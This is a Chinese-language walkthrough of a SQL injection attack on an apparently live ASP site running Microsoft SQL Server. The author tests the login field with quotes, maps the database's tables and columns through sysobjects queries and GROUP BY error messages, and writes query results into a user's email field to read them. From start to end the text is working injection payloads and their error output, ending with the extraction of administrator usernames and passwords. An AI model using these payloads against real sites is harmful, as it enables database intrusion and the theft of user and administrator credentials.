第一步: 在输入用户名处输入单引号,显示 Microsoft OLE DB Provider for SQL Server 错误 '80040e14' 字符串 ''' 之前有未闭合的引号。
/user/wantpws.asp,行63
说明没有过滤单引号且数据库是MSSQL.
第二步: 输入a';use master;-- 显示 Microsoft OLE DB Provider for SQL Server 错误 '80040e21' 多步 OLE DB 操作产生错误。如果可能,请检查每个 OLE DB 状态值。没有工作被完成。
/user/wantpws.asp,行63 这样说明没有权限了。
第三步: 输入:a' or name like 'fff%';-- 显示有一个叫ffff的用户哈。
第四步: 在用户名处输入 ffff' and 1<>(select count(email) from [user]);-- 显示: Microsoft OLE DB Provider for SQL Server 错误 '80040e37' 对象名 'user' 无效。
/user/wantpws.asp,行96
说明没有叫user的表,换成users试试成功,同时说明有一个叫email的列. (东方飘云的一个办法是输入a' having 1=1-- 一般返回如下也就可以直接得到表名和一个字段名了 Microsoft OLE DB Provider for SQL Server 错误 '80040e14' 列 'users.ID' 在选择列表中无效,因为该列未包含在聚合函数中,并且没有 GROUP BY 子句。
/user/wantpws.asp,行63
)
现在我们知道了ffff用户的密码是111111.
下面通过语句得到数据库中的所有表名和字段名。
第五步: 输入: ffff';update [users] set email=(select top 1 name from sysobjects where xtype='u' and status>0) where name='ffff';-- 说明: 上面的语句是得到数据库中的第一个用户表,并把表名放在ffff用户的邮箱字段中。 通过查看ffff的用户资料可得第一个用表叫ad 然后根据表名ad得到这个表的ID ffff';update [users] set email=(select top 1 id from sysobjects where xtype='u' and name='ad') where name='ffff';-- 同上可知id是:581577110 由于对象标志id是根据由小到大排列的所以我们可以得到所有的用户表的名字了 象下面这样就可以得到第二个表的名字了 ffff';update [users] set email=(select top 1 name from sysobjects where xtype='u' and id>581577110) where name='ffff';--
ad 581577110 users 597577167 buy 613577224 car 629577281 learning 645577338 log 661577395 movie 677577452 movieurl 693577509 password 709577566 type 725577623 talk
经过一段时间的猜测后我们得到上面的分析一下应该明白password,users是最得要的
第六步:猜重要表的字段 输入: 现在就看看users表有哪些字段 ffff';update [users] set email=(select top 1 col_name(object_id('users'),3) from users) where name='ffff';-- 得到第三个字段是password ffff';update [users] set email=(select top 1 col_name(object_id('users'),4) from users) where name='ffff';-- 得到第四个字段是name 最后users表的字段共28个全得到了 (注:另一个得到字段的办法,前提是系统的返回出错信息 a' group by ID having 1=1-- 得到 Microsoft OLE DB Provider for SQL Server 错误 '80040e14' 列 'users.userid' 在选择列表中无效,因为该列既不包含在聚合函数中,也不包含在 GROUP BY 子句中。
/user/wantpws.asp,行63 这个第二个字段就是userid 显示第三个字段。 a' group by id,userid having 1=1--
Microsoft OLE DB Provider for SQL Server 错误 '80040e14' 列 'users.password' 在选择列表中无效,因为该列既不包含在聚合函数中,也不包含在 GROUP BY 子句中。
/user/wantpws.asp,行63 得到是password 同理,一直显示出所有。:) )
users表 1 2 3 4 id userid password name
5 6 7 8 9 10 11 12 13 14 15 16 Province homeaddress city adress starlook sex email nlook nos date money send
然后我又试ad原来是用来记录广告击点的。。 然后又试password表得到有name和pwd字段。 执行 ffff';update [users] set email=(select top 1 name from password) where name='ffff';-- 可得第一个用户名是admin123看样儿多半是管理员了。 然后又得到了密码是dy***dick188还是打星号算了哈哈...
再进一步还可以知道管理员一共有三人密码也都能看到了。 ffff';update [users] set email=(select top 1 count(id) from password) where name='ffff';-- ffff';update [users] set email=(select top 1 pwd from password where id=2) where name='ffff';--
ffff';update [users] set email=(select top 1 name from password where id=2) where name='ffff';--